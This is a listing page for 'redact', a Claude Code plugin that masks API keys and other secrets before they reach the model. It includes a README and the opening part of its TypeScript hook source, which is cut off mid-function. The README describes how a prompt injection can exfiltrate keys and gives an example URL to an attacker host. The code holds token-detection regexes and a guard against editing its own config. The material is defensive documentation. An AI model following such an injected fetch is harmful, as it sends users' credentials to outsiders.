SLOPSHOPPER

redact

Lets Claude use your API keys, tokens, passwords and other secrets without the model seeing them: what your rules match is swapped for stable placeholders…

panerowsguardcommandtoaststatus
v0.2.0MITupdated 2026-10-24dboeter/cc-plugins/plugins/redact
A shopper browsing a rack in a slop shop
Preview · a replayed session in a sandbox
claude · ~/work/app · redact
│ ┃ Redact rules ✕ › fix the failing auth test and add an audit log call │ ┃ s: This session (0)• r: Rules (0 on) h: G │ ┃ ⏺ Read(src/auth.ts) │ ┃ ⎿ Read 6 lines │ ┃ ── This session ───────────────────────────… ⏺ Update(src/auth.ts) │ ┃ nothing masked yet ⎿ Added 2 lines, removed 1 line │ ⏺ Bash(bun test) │ ⎿ 3 pass, 1 fail │ │ ● Done. refresh now rejects expired claims and logs an audit event. │ │ ✻ Worked for 42s · done 4:20 PM │ │ › /redact │ │ ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── › ? for shortcuts ⚠ redact: redact: 0 masked · no rules on

Draws

Pane · Redact rules
s: This session (0)• r: Rules (0 on) h: Guide terminal ── This session ──────────────────────────── 0 masked ── nothing masked yet
README

redact

Swaps what your rules match for numbered placeholders before the model sees it, from the first request on, and puts the real values back where they run. No rule is on by default: your rules file starts with two examples, vendor tokens (sk-, ghp_, AKIA, xoxb-, JWTs and more) and email addresses, both off. Turn them on, add your own, give each its replacement label, and switch any rule on or off, from /redact or by editing the file. It is a pattern list, not a guarantee.

Protects against

  • A secret or email address in your prompt, a file, a command's output, CLAUDE.md, a skill or a subagent's work reaching the model, and with it the provider.
  • A failure in redact itself sending a value: what it can't mask is withheld (fails closed).

Does not protect against

  • Real values leaving through a tool. Every tool gets them, WebFetch, WebSearch and MCP tools included, so a prompt injection or a placeholder echoed into a command sends the value out. See What gets the real values.
  • Model requests made after the restore: the permission check (in auto mode its classifier is a model), WebSearch's query, WebFetch's prompt to the model that reads the page.
  • Anything at all until you turn a rule on or add one.
  • Values no rule matches: an unusual format, an encoded or split value, one sent before a rule matched it.
  • Images and documents, personal data other than emails, and other hooks, plugins or telemetry that see tool input.
  • Someone set on turning it off: its guard on its own config is best effort. HARDENING.md closes more of it.

Why

Secrets reach the model's context by many paths: a cat .env, an env dump, a git diff, a log line, an error message, your CLAUDE.md. Once there, they go to the model provider with every request, yet Claude often needs the value to run a command. redact is for anyone running Claude Code on a machine that holds real credentials.

Deny rules (Read(.env)) close one path, leave an env dump, a git diff and a log line open, and keep Claude from working with the file at all. gitleaks and other secret scanners check files and commits; they don't sit between a tool's output and the model. A DLP gateway masks requests on the wire, but needs a TLS-intercepting proxy, and the tool calls the model sends back hold placeholders your local tools can't run. redact runs inside Claude Code, where it sees both the request and the tool call, so it masks one and restores the other.

Install

/plugin install redact --marketplace dboeter/cc-plugins

Answer y to add the marketplace, then pick a scope.

How it works

  • Masked before the model sees it: your prompt and a slash command's arguments, the first request's context (CLAUDE.md, your account's email, the date), the system prompt, the reminders and mentioned files Claude Code injects, a skill's text, an MCP tool's description, and every row the conversation keeps: tool results, a subagent's rows too. The model reads GITHUB_TOKEN=⟦API_KEY_n⟧.
  • Numbered: each rule's replacement (API_KEY, EMAIL, a label of your own) labels its placeholders. Distinct values get distinct numbers. A value keeps its placeholder for the whole session, its subagents, retries and a --resume, and once matched, a value is masked wherever it comes back as a whole word, even where no rule would match it, and even after you turn its rule off: hunter2 and a PIN too. The price: a word or number a rule misread stays masked for the rest of the session. A value with no letter or digit (**, ...) is never masked. Rules run in file order, and only on the text between placeholders, so \d+ never rewrites one's number.
  • Env files, from the start: when a session starts, the values in the env files of the folder it starts in go in the vault: .env, .env.* and *.env (dotenv, Docker), .envrc (direnv: its KEY=value lines; a $(…) value is skipped), .dev.vars and .dev.vars.* (wrangler), .flaskenv, and the files a compose.yaml or docker-compose*.yml there names under env_file:, wherever they are. A template (example, sample, template or dist in its name: .env.example, example.env) is not read, nor a subfolder's env file a compose file does not name. Each value goes in under its key as label (GITHUB_TOKEN=… masks as ⟦GITHUB_TOKEN_n⟧, ENV where the key is no label), so it is masked from the first request on, with no rule on. This is the one thing redact masks unasked. Only a value that looks like a secret on its own goes in: 8 or more characters of at least two kinds (letters, digits, symbols), so PORT=3000 and DEBUG=true stay readable, and so does a lowercase-only password. A value that only names another (${OTHER}) and one whose quotes span lines (a private key) are skipped. A toast says how many went in; the pane names the file and key of each. Before each prompt, redact lists the folder again and reads a file only when its time or size changed, so a key added or rotated during the session masks from the next prompt on. A seeded value forgotten in the pane stays forgotten until its file changes. It is on unless you turn it off: the Env files switch on the pane's Rules tab, /redact env off (env on), or "envFiles": false in your rules file. Off, the values it already put in stay masked for the session.
  • Restored where it runs: every tool call gets the real values back in its input before it runs, so a Write, an Edit or a Bash command works on the real value. The terminal draws the real values in the transcript, so the status line under the prompt counts what is masked (redact: 4 masked), and the pane can switch the terminal to draw the placeholders, as the model reads them.
  • Kept local: the values and their placeholders sit in a vault per session in the plugin's store, never in a request.

What gets the real values

Every tool, remote ones included: WebFetch, WebSearch, MCP tools. The restore is silent on purpose: redact keeps secrets out of the model, not out of your tools, so a command that needs a key gets it without a prompt. That has a price:

  • A placeholder in an outgoing call sends the real value. One the model echoes into gh pr create --body, a commit message or a WebSearch query goes out as the value itself. To send the placeholder text instead, escape it (⟦!API_KEY_n⟧, see What it refuses).
  • A prompt injection can send a value out. A page or file that tells the model to fetch https://attacker.example/?k=⟦API_KEY_n⟧ gets the real key sent there. The placeholder keeps a value from the model, not from the services the model calls.
  • The permission check sees the real values, as it runs after the restore. In auto mode its classifier is a model request.
  • A tool's own model request, where it makes one (WebSearch's query, WebFetch's prompt to the model that reads the page), carries the real value.

Use

No /redact command enters the conversation: its line is dropped and its reply is a toast, so the model reads neither. /redact (or /redact show) opens a tabbed pane on This session; /redact rules (or /redact test [text]) opens it on Rules, and /redact guide (or help) on Guide. The top bar switches tabs (s, r, h), flags any skipped rules, and on the terminal shows what the terminal draws (the real values or as the model reads it) with a switch (d).

  • This session lists each placeholder the vault holds, with its value (the length alone off the terminal), the rule that masked it, and a red ✗ that forgets it; with more than one, a red ✗ all drops them all. A value with a line break or over 40 characters (a private key) shows its first 6 and last 4 characters and its size until you press its ▸ (▾ hides it again). The model never reads the pane, and text read back off the screen (tmux capture-pane in a Bash call) comes back masked, as the vault holds every value the pane shows; a screenshot does not, as images are not masked. Forgetting drops the value from the vault: a tool call naming that placeholder is refused from then on, and the value, matched again, masks under a new number, never the old one.
  • Rules starts with a Test section that previews on Enter (or via /redact test <text>) what the rules that are on mask in sample text without saving to the vault. Below it, Rules has an add field followed by the rules in your file, each by its number and name (or its pattern), the replacement it masks under, a switch that turns it on (● on) or off (○ off), and a red ✗ that removes it; a rule that does not read is marked skipped with the reason. Then From settings (where a pattern that does not read is marked skipped and named in the status line). On the mobile app, with no field, test and add from the prompt.
  • Guide summarizes the rule format, placeholder escaping, and where real values go.

/redact test <text>, /redact add <rule>, /redact remove <n|name>, /redact on <n|name>, /redact off <n|name> and /redact env on|off work from the prompt, answered in a toast. A rule is named by its number in the file, its name, or its pattern; a number that names a rule is read as its number. Should a /redact line reach the conversation all the same, its arguments are emptied in every row the model is sent.

Your rules live in ~/.claude/redact-rules.json (in $CLAUDE_CONFIG_DIR when that is set), one file for every project, on your machine only. redact creates it on first use holding the two examples, both off; it ships no other rules, and a later version's change to the examples does not reach a file already made. Edit the file by hand, or with /redact add, remove, on and off, which keep any other keys you put in it. It is read again before every masking, so an edit masks whatever is recorded after it, in every open session, a turn already running included; text already sent is not masked again. /redact runs at once, mid-turn too.

{
  "rules": [
    { "name": "Acme keys", "pattern": "(?<=ACME_KEY=)\\S+", "replacement": "ACME_KEY", "enabled": true },
    { "name": "Employee ids", "pattern": "\\be\\d{6}\\b", "replacement": "EMPLOYEE_ID", "enabled": false, "ignoreCase": true, "min": 6 }
  ]
}

Each rule has:

  • pattern: a JavaScript regex (backslashes doubled, as JSON wants). Each match is masked whole; a lookbehind keeps a prefix, and so does a group named v (or v2), which is all that is masked when it matched: (?<pre>ACME_KEY=)(?<v>\S+).
  • replacement: the label its placeholders take, capital letters, digits and _: ACME_KEY masks as ⟦ACME_KEY_n⟧. Left out, it is SECRET.
  • enabled: false turns the rule off. Left out, the rule is on: you wrote it to mask.
  • name: what the pane, a toast and the vault call it. Optional.
  • Options, all optional: ignoreCase: true matches whatever the case; min: N masks only a match of N characters or more, and not one of lowercase letters only; strong: true masks only a match of 8 or more characters of at least two kinds out of letters, digits and symbols; prose: true leaves an unquoted match right after a colon alone when words follow it on the line.

/redact add and the pane's add field take a rule as one line, LABEL [options]: regex, or a bare regex masked as SECRET, and add it on: /redact add EMPLOYEE_ID i min=6: \be\d{6}\b. The options there are i, min=N, strong and prose. A rule that does not read (no pattern, a replacement that is not a label, a regex that does not compile) is skipped and marked in the pane. A file that does not parse as JSON with a rules list is never written over: masking goes on with the last rules read (none, if it never parsed), and the status line says so until you fix it.

An older version kept your patterns in ~/.claude/redact-patterns.txt and shipped seven built-in rules. On first use with no rules file, redact moves that file's patterns into the new one, each on and named by the comment above it, turns an example on where its built-in rule was on, and leaves the old file in place. A toast names the other built-in rules you had on (private keys, Bearer tokens, URL passwords, --password values, values assigned to a secret's name), which mask nothing now: add a rule of your own for any you still want.

More can be set in the patterns option, as one-line rules, always on and run after the file's; it is a list, so set it in settings.json (/config does not show list fields):

"pluginConfigs": { "redact@dboeter": { "options": { "patterns": ["ACME_KEY: (?<=ACME_KEY=)\\S+"] } } }

What it refuses

  • A placeholder it cannot restore: a tool call naming a placeholder this session's vault does not hold (a number the model made up, one from another session, or a vault pruned or lost) is refused, rather than run with the placeholder in place of the value, and a toast tells you why. To write a placeholder as literal text (a doc, a PR body, a report about redact), put ! after its opening bracket: ⟦!API_KEY_n⟧ with a real number is written as the placeholder itself, never looked up. In a README, write placeholders with a letter for the number (⟦API_KEY_n⟧), as this one does, or without the brackets.
  • Its own config (off by default while redact is in development; the undeclared guard: true option turns it on): any call that reads or changes your rules file, a call that would change its store (the vaults), or its enabledPlugins and pluginConfigs entries in a settings file. A file tool is matched on where its path lands, so a link or another casing is caught, and a Grep over a folder that holds the rules file (~/.claude, your home folder) is refused. A Write or Edit of a settings file is compared before and after, so an edit that names only "patterns" is caught. Bash is matched as text: a command naming the rules file, a glob at the top of a .claude folder (cat ~/.claude/*), a recursive reader or copier (grep -r, rg, find, tar, cp) naming that folder, the store, or a claude/settings*.json path and redact. A bare ls ~/.claude passes. Reading the store through Bash is refused too; the pane lists your rules.
  • Its own failure: when masking throws or outruns the hook's budget, what it masks is withheld: a row's text is replaced with a notice, a prompt is not sent, a command does not run, an injected reminder, a skill's text or an MCP tool's description is left out, the first request's context blocks are dropped, and the system prompt keeps only the sections that read the same for everyone. A toast tells you when context, system prompt sections or a reminder were left out. Nothing goes out unmasked.

Limits

  • Shapes: masking matches what your rules describe, so an encoded or split value (base64, rev) gets through, and so does any secret no rule that is on describes. A value first sent before any rule matched it stays in the rows that already carry it.
  • Images and documents: Claude Code lets a plugin drop or move them, not change them, so a screenshot of a secret goes out as it is.
  • Other code that sees the real values: settings hooks (PreToolUse and PostToolUse get a tool's input and output), other plugins' hooks and model calls, and telemetry that logs tool input.
  • Managed setups: where an organization manages Claude Code, the hooks on skills' text, the first request's context, the system prompt and injected reminders run only for a plugin the organization lists in managed settings.
  • Where placeholders show: every surface but the terminal keeps them (the mobile app over Remote Control, the desktop app, VS Code), so drawing never sends a value off the terminal, and the pane's draw switch is on the terminal only; so do collapsed tool groups, the prompt history, and the terminal while the pane's toggle draws it as the model reads it.
  • Context shifts: a value is put back as it was captured. One taken from a JSON string, escapes and all, and written into a file of another format is written as captured.
  • Placeholder-shaped text: text of a placeholder's shape that a file already holds reads as one when the vault holds its number, and is restored to that value on write. One the vault does not hold reads escaped, so writing it back gives the literal text. A file that already holds the escaped form loses its ! on write.

Harden it

Permission rules and a managed-settings entry hold where the plugin's own guard can't: see HARDENING.md.

What it does on your machine

  • Storage: your rules in ~/.claude/redact-rules.json; in the plugin's store, ~/.claude/plugins/store/redact_*.json, a vault per session, holding that session's real values in plain text. A vault untouched for 30 days is dropped when a session starts; a --resume of that session then refuses its placeholders.
  • Files: it reads a settings file that a Write or Edit is about to change, to compare its own entries before and after. It writes nothing but its store and your rules file, reads ~/.claude/redact-patterns.txt once, to move an older version's patterns, and at each session start and before each prompt lists the folder it starts in, and reads its env files, its compose files and the env files those name when they changed. The transcript file keeps a tool's own record (what the terminal draws, a Read's file content say) as the tool made it; what the model is sent is masked.
  • Network: nothing.
Source 1 files
hooks/redact.tsx 1018 lines
1import type { EngineInterface, Register } from 'claude-code'
2
3// Swaps secret-shaped values for numbered placeholders (⟦API_KEY_n⟧) in what the model reads,
4// before it leaves the machine: the prompt and a command's arguments, the first request's
5// context blocks and system prompt, the reminders and mentioned files the engine injects, a
6// skill's text, and every row a conversation keeps (tool results, a subagent's rows too). The
7// values stay in this session's vault, in the plugin's $.store, never in a request; a value keeps
8// its placeholder for the whole session, its subagents and a --resume.
9// Every tool call gets the real values back in its input before it runs, a remote tool's too
10// (WebFetch, WebSearch, MCP): the person chose an uninterrupted workflow over blocking those,
11// knowing that a page telling the model to put a placeholder in a URL gets the value sent. The
12// permission check, which runs beneath this hook, sees the real values too. The terminal draws
13// them back, unless the pane's toggle shows them as the model reads them; a remote surface keeps
14// the placeholders.
15// Fails closed: a masking hook that throws or outruns its budget withholds what it masks (the
16// `.catch` on each), and a placeholder the vault does not hold refuses the call. The model's own
17// tool_use input is recorded before any hook runs, so the transcript keeps the placeholders.
18// Best-effort pattern list, not a guarantee.
19
20// ⟦ and ⟧ open and close a placeholder: no rule's value holds them (STOP below) and real text
21// rarely does, so a placeholder is never masked again and a token of its shape is read as ours.
22// Spelled as escapes, so no file of this plugin holds a placeholder a restore would fill in, nor
23// an escaped one (`!` after the bracket) a restore would rewrite.
24const OPEN = '⟦'
25// a placeholder or an escaped one, both kept whole by every pass that splits on it
26const PH_SPLIT = /(⟦!?[A-Z][A-Z0-9_]*_\d+⟧)/
27// A placeholder escaped: `!` after the opening bracket. Restore gives its literal text and never
28// looks it up, so text about placeholders (a doc, a report) can name one.
29const ESC = OPEN + '!'
30const PH_OR_ESC = /⟦(!?)([A-Z][A-Z0-9_]*_\d+⟧)/g
31const LABEL = /^[A-Z][A-Z0-9_]*$/
32
33// A rule of the rules file: a JavaScript regex, the label its placeholders take (`replacement`:
34// API_KEY masks as API_KEY_n), whether it is on, and its options (`ignoreCase`, and `min`,
35// `strong`, `prose` as Pattern below has them). `name` is what the pane and the vault call it.
36type Rule = { name?: string; pattern: string; replacement: string; enabled?: boolean; ignoreCase?: boolean; min?: number; strong?: boolean; prose?: boolean }
37
38// The rules a new rules file holds: two examples, both off, so nothing is masked until the person
39// turns one on or adds their own. Copied into the file once; a later version's change to them
40// does not reach it. Their repeats are bounded ({1,64}, {1,512}): unbounded, a crafted output
41// (thousands of `-eyJ`) takes time quadratic in its size, outruns the hook budget and gets the
42// row withheld. The speed test in redact.test.ts pins this. A real-looking token here would trip
43// the pre-push secret scan, so the names describe a match rather than show one.
44export const EXAMPLES: Rule[] = [
45  // JS copy of ~/dotagents/scripts/git-hooks/lib/secret-content.ere's vendor shapes (plus hf_, ya29.)
46  { name: 'Example: vendor tokens (sk-, gh*_, github_pat_, AKIA, ASIA, xox*-, AIza, sk_live_, glpat-, npm_, dckr_pat_, SG., hf_, ya29.) and JWTs',
47    pattern: /\b(?:sk-[\w-]{20,}|gh[pousr]_\w{36,}|github_pat_\w{20,}|(?:AKIA|ASIA)[0-9A-Z]{16}|xox[abprs]-[\w-]{10,}|AIza[\w-]{35}|[sr]k_(?:live|test)_[0-9A-Za-z]{24,}|glpat-[\w-]{20,}|npm_[A-Za-z0-9]{36}|dckr_pat_[\w-]{20,}|SG\.[\w-]{20,}\.[\w-]{20,}|hf_[A-Za-z0-9]{30,}|ya29\.[\w-]{20,}|eyJ[\w-]{1,512}\.[\w-]+\.[\w-]+)/.source,
48    replacement: 'API_KEY', enabled: false },
49  // Starts where a run of address characters does, so a local part past 64 is left whole rather
50  // than cut. Not `git@`, a git host's ssh user; a TLD of letters leaves `react@18.2.0` alone,
51  // `(?![1-9]x\.)` an image's `@2x.png`.
52  { name: 'Example: email addresses',
53    pattern: /(?<![\w.+-])(?!git@)[\w.+-]{1,64}@(?![1-9]x\.)(?:[\w-]{1,63}\.){1,8}[A-Za-z]{2,24}(?![\w-])/.source,
54    replacement: 'EMAIL', enabled: false },
55]
56
57// A pattern: each match masked whole, or only its `v` (or `v2`) group when it has one, under
58// `label`; `by` is what the pane says masked it. Its options: `strong` masks only a value that
59// passes `strong` below, `min` only one that long and not all lowercase (WORD), `prose` leaves an
60// unquoted value after a colon alone when words follow it (PROSE).
61type Pattern = { re: RegExp; label: string; by?: string; strong?: boolean; min?: number; prose?: boolean }
62type Spec = Omit<Pattern, 're'> & { src: string; flags: string }
63// A rule as compiled. Throws why it does not read: no pattern, a replacement no placeholder can
64// carry, an option of the wrong type, a regex that does not compile.
65const spec = (r: any): Spec => {
66  if (!r || typeof r !== 'object' || Array.isArray(r)) throw new Error('not a rule')
67  if (typeof r.pattern !== 'string' || !r.pattern) throw new Error('no pattern')
68  const label = r.replacement ?? 'SECRET'
69  if (typeof label !== 'string' || !LABEL.test(label)) throw new Error('replacement is not capitals, digits and _')
70  if (r.min !== undefined && !(Number.isInteger(r.min) && r.min >= 0)) throw new Error('min is not a whole number')
71  for (const k of ['enabled', 'ignoreCase', 'strong', 'prose']) if (r[k] !== undefined && typeof r[k] !== 'boolean') throw new Error(`${k} is not true or false`)
72  const s: Spec = { src: r.pattern, flags: r.ignoreCase ? 'gdi' : 'gd', label }
73  if (r.min) s.min = r.min
74  if (r.strong) s.strong = true
75  if (r.prose) s.prose = true
76  new RegExp(s.src, s.flags)
77  return s
78}
79// A line in the short form /redact add and the `patterns` option take, as a rule that is on:
80// `LABEL [options]: regex`, or a bare regex, masked as SECRET. The regex is the rest of the line
81// after the first `: `, as written; a label is capitals, so a regex like `(?<x>a): b` stays whole.
82// Throws why the line does not read: an unknown option, or what `spec` throws.
83const RULE = /^([A-Z][A-Z0-9_]*)((?:[ \t]+[\w=-]+)*)[ \t]*:[ \t]+(.*)$/
84const read = (line: string): Rule => {
85  const [, label = 'SECRET', opts = '', src = line] = RULE.exec(line) ?? []
86  const r: Rule = { pattern: src.trim(), replacement: label, enabled: true }
87  for (const o of opts.split(/\s+/).filter(Boolean)) {
88    const [k, v] = o.split('=')
89    if (k === 'min' && v && /^\d+$/.test(v)) r.min = Number(v)
90    else if (o === 'strong' || o === 'prose') r[o] = true
91    else if (o === 'i') r.ignoreCase = true
92    else throw new Error(`unknown option ${o}`)
93  }
94  spec(r)
95  return r
96}
97
98// A session's vault: the next number per label and each placeholder's value, as the store keeps
99// it, and which rule or pattern masked each (`by`, absent from a vault saved before it was
100// kept); `at` is when it last changed, for pruning. Held adds the reverse index and the
101// known-values pattern, both rebuilt from `ph`, and whether it changed since it was saved.
102// `known` is undefined until knownOf builds it, null when the vault is empty.
103type Vault = { at: number; n: Record<string, number>; ph: Record<string, string>; by?: Record<string, string> }
104type Held = { id: string; v: Vault; byValue: Map<string, string>; known?: RegExp | null; dirty: boolean }
105export const fresh = (id = ''): Held => ({ id, v: { at: 0, n: {}, ph: {} }, byValue: new Map(), dirty: false })
106
107// The placeholder of a value: the one it has, or the next number under its label.
108const mint = (h: Held, value: string, label: string, by: string) => {
109  let p = h.byValue.get(value)
110  if (p) return p
111  const n = (h.v.n[label] ?? 0) + 1
112  h.v.n[label] = n
113  p = `${OPEN}${label}_${n}⟧`
114  h.v.ph[p] = value
115  ;(h.v.by ??= {})[p] = by
116  h.byValue.set(value, p)
117  h.known = undefined
118  h.dirty = true
119  return p
120}
121
122// a value with no letter or digit (`**`, `...`) is markup or code, never a secret
123const ALNUM = /[A-Za-z0-9]/
124// An unquoted value after `name:` with a word after it is prose, a heading or a list (`TOKEN: a
125// token-shaped value`, the pane's own rows read back), not a setting.
126const PROSE = /^[ \t]+[A-Za-z]/
127// A `min` rule leaves a value of lowercase letters alone (`password: value`, `--token word`): a doc
128// or a usage line puts a word there far more often than a setting puts a password, and once
129// vaulted, the word is masked everywhere all session. The person's choice, at a price: a
130// lowercase-only password (`password=letmein`) is sent as it is.
131const WORD = /^[a-z]+$/
132// `part` with each match of `x` that passes its checks swapped for a placeholder: the `v` or `v2`
133// span where the match has one (a pattern compiled with `d` gives their indices), else the whole match.
134const swap = (part: string, h: Held, x: Pattern) => {
135  let out = '', at = 0
136  for (const r of part.matchAll(x.re)) {
137    const g = r.indices?.groups
138    const [from, to] = g?.v ?? g?.v2 ?? [r.index, r.index + r[0].length]
139    const value = part.slice(from, to)
140    if (!value || value.includes(OPEN) || !ALNUM.test(value) || (x.strong && !strong(value)) || value.length < (x.min ?? 0)) continue
141    if (x.min && WORD.test(value)) continue
142    if (x.prose && /:[ \t]*$/.test(part.slice(r.index, from)) && PROSE.test(part.slice(r.index + r[0].length))) continue
143    out += part.slice(at, from) + mint(h, value, x.label, x.by ?? 'a pattern')
144    at = to
145  }
146  return at ? out + part.slice(at) : part
147}
148
149// A value that looks like a secret on its own: 8 or more characters, of at least two kinds out
150// of letters, digits and symbols (whitespace is no symbol, so a misread phrase is not one). A
151// `strong` rule, which guesses from context alone, masks only such a value.
152const strong = (s: string) => s.length >= 8 && [/[A-Za-z]/, /[0-9]/, /[^A-Za-z0-9\s]/].filter(k => k.test(s)).length >= 2
153// Every value the vault holds, longest first, as one pattern, each only where it stands apart
154// from word characters, so `abc123xy` leaves `abc123xyz` alone; null when the vault is empty.
155// Weak ones too (`hunter2`, a PIN): a value comes back in shapes no rule matches (a prompt the
156// model writes for a subagent, after restore). The price: a word or number a rule misread stays
157// masked, as a whole word, for the whole session.
158const escape = (s: string) => s.replace(/[.*+?^${}()|[\]\\\/]/g, '\\$&')
159const knownOf = (h: Held) => {
160  if (h.known !== undefined) return h.known
161  const values = [...h.byValue.keys()].sort((a, b) => b.length - a.length)
162  return h.known = values.length ? new RegExp(values.map(s => '(?<!\\w)' + escape(s) + '(?!\\w)').join('|'), 'g') : null
163}
164
165// `f` over the text between placeholders, the placeholders left as they are
166const between = (s: string, f: (part: string) => string) => s.split(PH_SPLIT).map((part, i) => i % 2 ? part : f(part)).join('')
167
168// Rules first, over the whole text, so a later rule sees an earlier one's placeholder and leaves
169// it. Then, only between placeholders (a pattern like `\d+` would rewrite one's number), the
170// person's patterns, and every value the vault already holds, wherever it stands: a value
171// once matched is never sent, in whatever shape it comes back. A placeholder-shaped text the
172// vault does not hold (a doc naming the format) reads escaped, so writing it back gives the
173// literal. Masking twice is masking once.
174export const mask = (s: string, h: Held, patterns: readonly Pattern[]) => {
175  const ruled = patterns.reduce((acc, x) => between(acc, part => swap(part, h, x)), s)
176  if (!ruled.includes(OPEN) && !h.byValue.size) return ruled
177  const known = h.byValue.size ? knownOf(h) : null
178  const placeholder = (p: string) => p.startsWith(ESC) || p in h.v.ph ? p : ESC + p.slice(OPEN.length)
179  const text = (t: string) => known ? t.replace(known, m => h.byValue.get(m) ?? m) : t
180  return ruled.split(PH_SPLIT).map((part, i) => i % 2 ? placeholder(part) : text(part)).join('')
181}
182
183// The real values back in a string, and an escaped placeholder as its literal text; `missing`
184// collects the placeholders the vault does not hold.
185export const restore = (s: string, h: Held, missing?: Set<string>) =>
186  s.includes(OPEN) ? s.replace(PH_OR_ESC, (p, esc: string, body: string) => esc ? OPEN + body : h.v.ph[p] ?? (missing?.add(p), p)) : s
187
188// `f` over every string in a value; the same value back where nothing changed.
189const deep = (v: unknown, f: (s: string) => string): unknown => {
190  if (typeof v === 'string') return f(v)
191  if (Array.isArray(v)) { const a = v.map(x => deep(x, f)); return a.some((x, i) => x !== v[i]) ? a : v }
192  if (v && typeof v === 'object') {
193    const es = Object.entries(v)
194    const out = es.map(([k, x]) => [k, deep(x, f)] as const)
195    return out.some(([, x], i) => x !== es[i]![1]) ? Object.fromEntries(out) : v
196  }
197  return v
198}
199
200// A row's rewritable text: its text blocks and its tool results' content. Media, thinking and
201// tool_use blocks pass as they are. The same array back where nothing changed.
202const blocks = (content: any, f: (s: string) => string): any => {
203  if (typeof content === 'string') return f(content)
204  if (!Array.isArray(content)) return content
205  const out = content.map((b: any) => b?.type === 'text' && typeof b.text === 'string' ? { ...b, text: f(b.text) }
206    : b?.type === 'tool_result' ? { ...b, content: blocks(b.content, f) }
207    : b)
208  return out.some((b: any, i: number) => b.text !== content[i].text || b.content !== content[i].content) ? out : content
209}
210// a /redact command line as the engine records it, its arguments in group 2
211const REDACT_ARGS = /(<command-name>\/redact<\/command-name>[\s\S]*?<command-args>)[\s\S]*?(<\/command-args>)/g
212const WITHHELD = 'redact: withheld, as masking it failed. Tell the user; the redact plugin needs a look.'
213
214// The input fields whose text lands in a file or runs. Bash is checked whole: a write that
215// is no file write (`gh secret set --body`, `curl -d`) has no shape to tell it apart.
216const WRITES: Record<string, string[]> = { Write: ['content'], Edit: ['old_string', 'new_string'], NotebookEdit: ['new_source'], Bash: ['command'] }
217
218// why a rule, or a line in the short form, does not read; undefined when it does
219const fault = (r: unknown) => { try { spec(r); return undefined } catch (err) { return (err as Error).message } }
220const lineFault = (line: string) => { try { read(line); return undefined } catch (err) { return (err as Error).message } }
221// A rule with no `enabled` is on: the person wrote it to mask, and a miss sends the value.
222const isOn = (r: any) => r?.enabled !== false
223// the rules that are on and read, compiled
224const compile = (rules: readonly unknown[], from: string): Pattern[] => rules.flatMap(r => {
225  if (fault(r) || !isOn(r)) return []
226  const { src, flags, ...s } = spec(r)
227  return [{ ...s, re: new RegExp(src, flags), by: `${from}: ${(r as Rule).name ?? src}` }]
228})
229// A pattern line of the old patterns file, with the comment line right above it as its name. A
230// blank line ends a comment, so the header names nothing.
231type Line = { line: string; name?: string }
232const parse = (text: string): Line[] => {
233  let name: string | undefined, inComment = false
234  return text.split('\n').flatMap(raw => {
235    const l = raw.trim()
236    if (l.startsWith('#')) { if (!inComment) name = l.replace(/^#\s*/, '') || undefined; inComment = true; return [] }
237    const at = name
238    name = undefined
239    inComment = false
240    return l ? [{ line: l, name: at }] : []
241  })
242}
243const PANE = 'redact'
244const TITLE = 'Redact rules'
245// The rules /redact and the pane keep: a JSON file of the user's, per user, for every project,
246// next to settings.json, so they can edit it by hand. A new one holds EXAMPLES.
247const FILE = 'redact-rules.json'
248const YOURS = 'rule'
249const json = (rules: readonly unknown[]) => JSON.stringify({ rules }, null, 2) + '\n'
250// each session's vault, under its id, in the store; one untouched this long is dropped
251const VAULT = 'vault:'
252const KEEP_MS = 30 * 24 * 3600 * 1000
253
254// The patterns file of the version before, which shipped these rules in code and turned one off
255// with an `off <id>` line. Moved into a rules file once, when there is none: each pattern line
256// that reads becomes a rule that is on, named by the comment above it, and an example is on
257// where the old file left its rule on (`was`). `gone` names the other rules it left on, which mask
258// nothing now; `lost` counts the lines that did not read. The old file stays where it is.
259const OLD_FILE = 'redact-patterns.txt'
260const OLD_RULES = ['private-key', 'vendor-token', 'bearer', 'url-password', 'flag', 'assigned', 'email']
261const WAS = ['vendor-token', 'email'] // EXAMPLES' rule in the old file, in their order
262const OFF = /^off[ \t]+(\S+)$/
263export const migrate = (t: string) => {
264  const lines = parse(t)
265  const off = new Set(lines.flatMap(l => OFF.exec(l.line)?.[1] ?? []))
266  const left = OLD_RULES.filter(id => !off.has(id))
267  const examples = EXAMPLES.map((r, i) => ({ ...r, enabled: left.includes(WAS[i]!) }))
268  let lost = 0
269  const rules = lines.flatMap(l => {
270    if (OFF.test(l.line)) return []
271    try { return [{ ...l.name ? { name: l.name } : {}, ...read(l.line) }] } catch { lost++; return [] }
272  })
273  return { text: json([...examples, ...rules]), gone: left.filter(id => !WAS.includes(id)), lost }
274}
275
276// The file's rules as last read, and compiled, and where the file is; one per load. Read again at
277// every masking, so an edit by hand or a rule another session added masks here too; a text that
278// does not parse keeps the last rules (`broken` says why). The vault being loaded, and the queue
279// its saves wait in; whether the terminal draws placeholders (`raw`), the settings patterns that
280// did not compile and how many did (`extra`), and the status line last set. These helpers sit at
281// the top of the file because the engine only follows `$` into such functions.
282type Tab = 'session' | 'rules' | 'help'
283const TABS: Record<string, Tab> = { '': 'session', show: 'session', session: 'session', rules: 'rules', patterns: 'rules', test: 'rules', guide: 'help', help: 'help' }
284type Kept = { rules: unknown[]; compiled: Pattern[]; broken?: string; last?: string; file?: Promise<string>; seeded?: boolean; note: string; extra: number
285  vault?: { id: string; held: Promise<Held> }; env?: { id: string; seen: Seen }; envOn?: boolean; saving: Promise<unknown>; raw: boolean; skipped: string[]; shown?: string; revealed: Set<string>; opened?: boolean; tab: Tab; sample: string }
286// CLAUDE_CONFIG_DIR, else ~/.claude; USERPROFILE is Windows' HOME
287const place = ($: EngineInterface, k: Kept) => k.file ??= (async () => {
288  const dir = await $.env.get('CLAUDE_CONFIG_DIR') || `${await $.env.get('HOME') || await $.env.get('USERPROFILE') || '~'}/.claude`
289  return `${dir.replace(/[\\/]+$/, '')}/${FILE}`
290})()
291// The file's text, undefined when it, or the old patterns file it would be made from, is there
292// but did not read. None at all is made once per load, from the old patterns file when there is
293// one (`migrate`, and a toast of what changed), else from the examples: a write that fails still
294// masks with it.
295const text = async ($: EngineInterface, k: Kept, path: string) => {
296  if (await $.fs.exists(path).catch(() => true)) return $.fs.read(path).then(String, () => undefined)
297  const old = path.replace(/[^\\/]+$/, OLD_FILE)
298  const was = await $.fs.exists(old).catch(() => true) ? await $.fs.read(old).then(String, () => null) : undefined
299  if (was === null) return undefined
300  const moved = was === undefined ? undefined : migrate(was)
301  const next = moved?.text ?? json(EXAMPLES)
302  if (!k.seeded) {
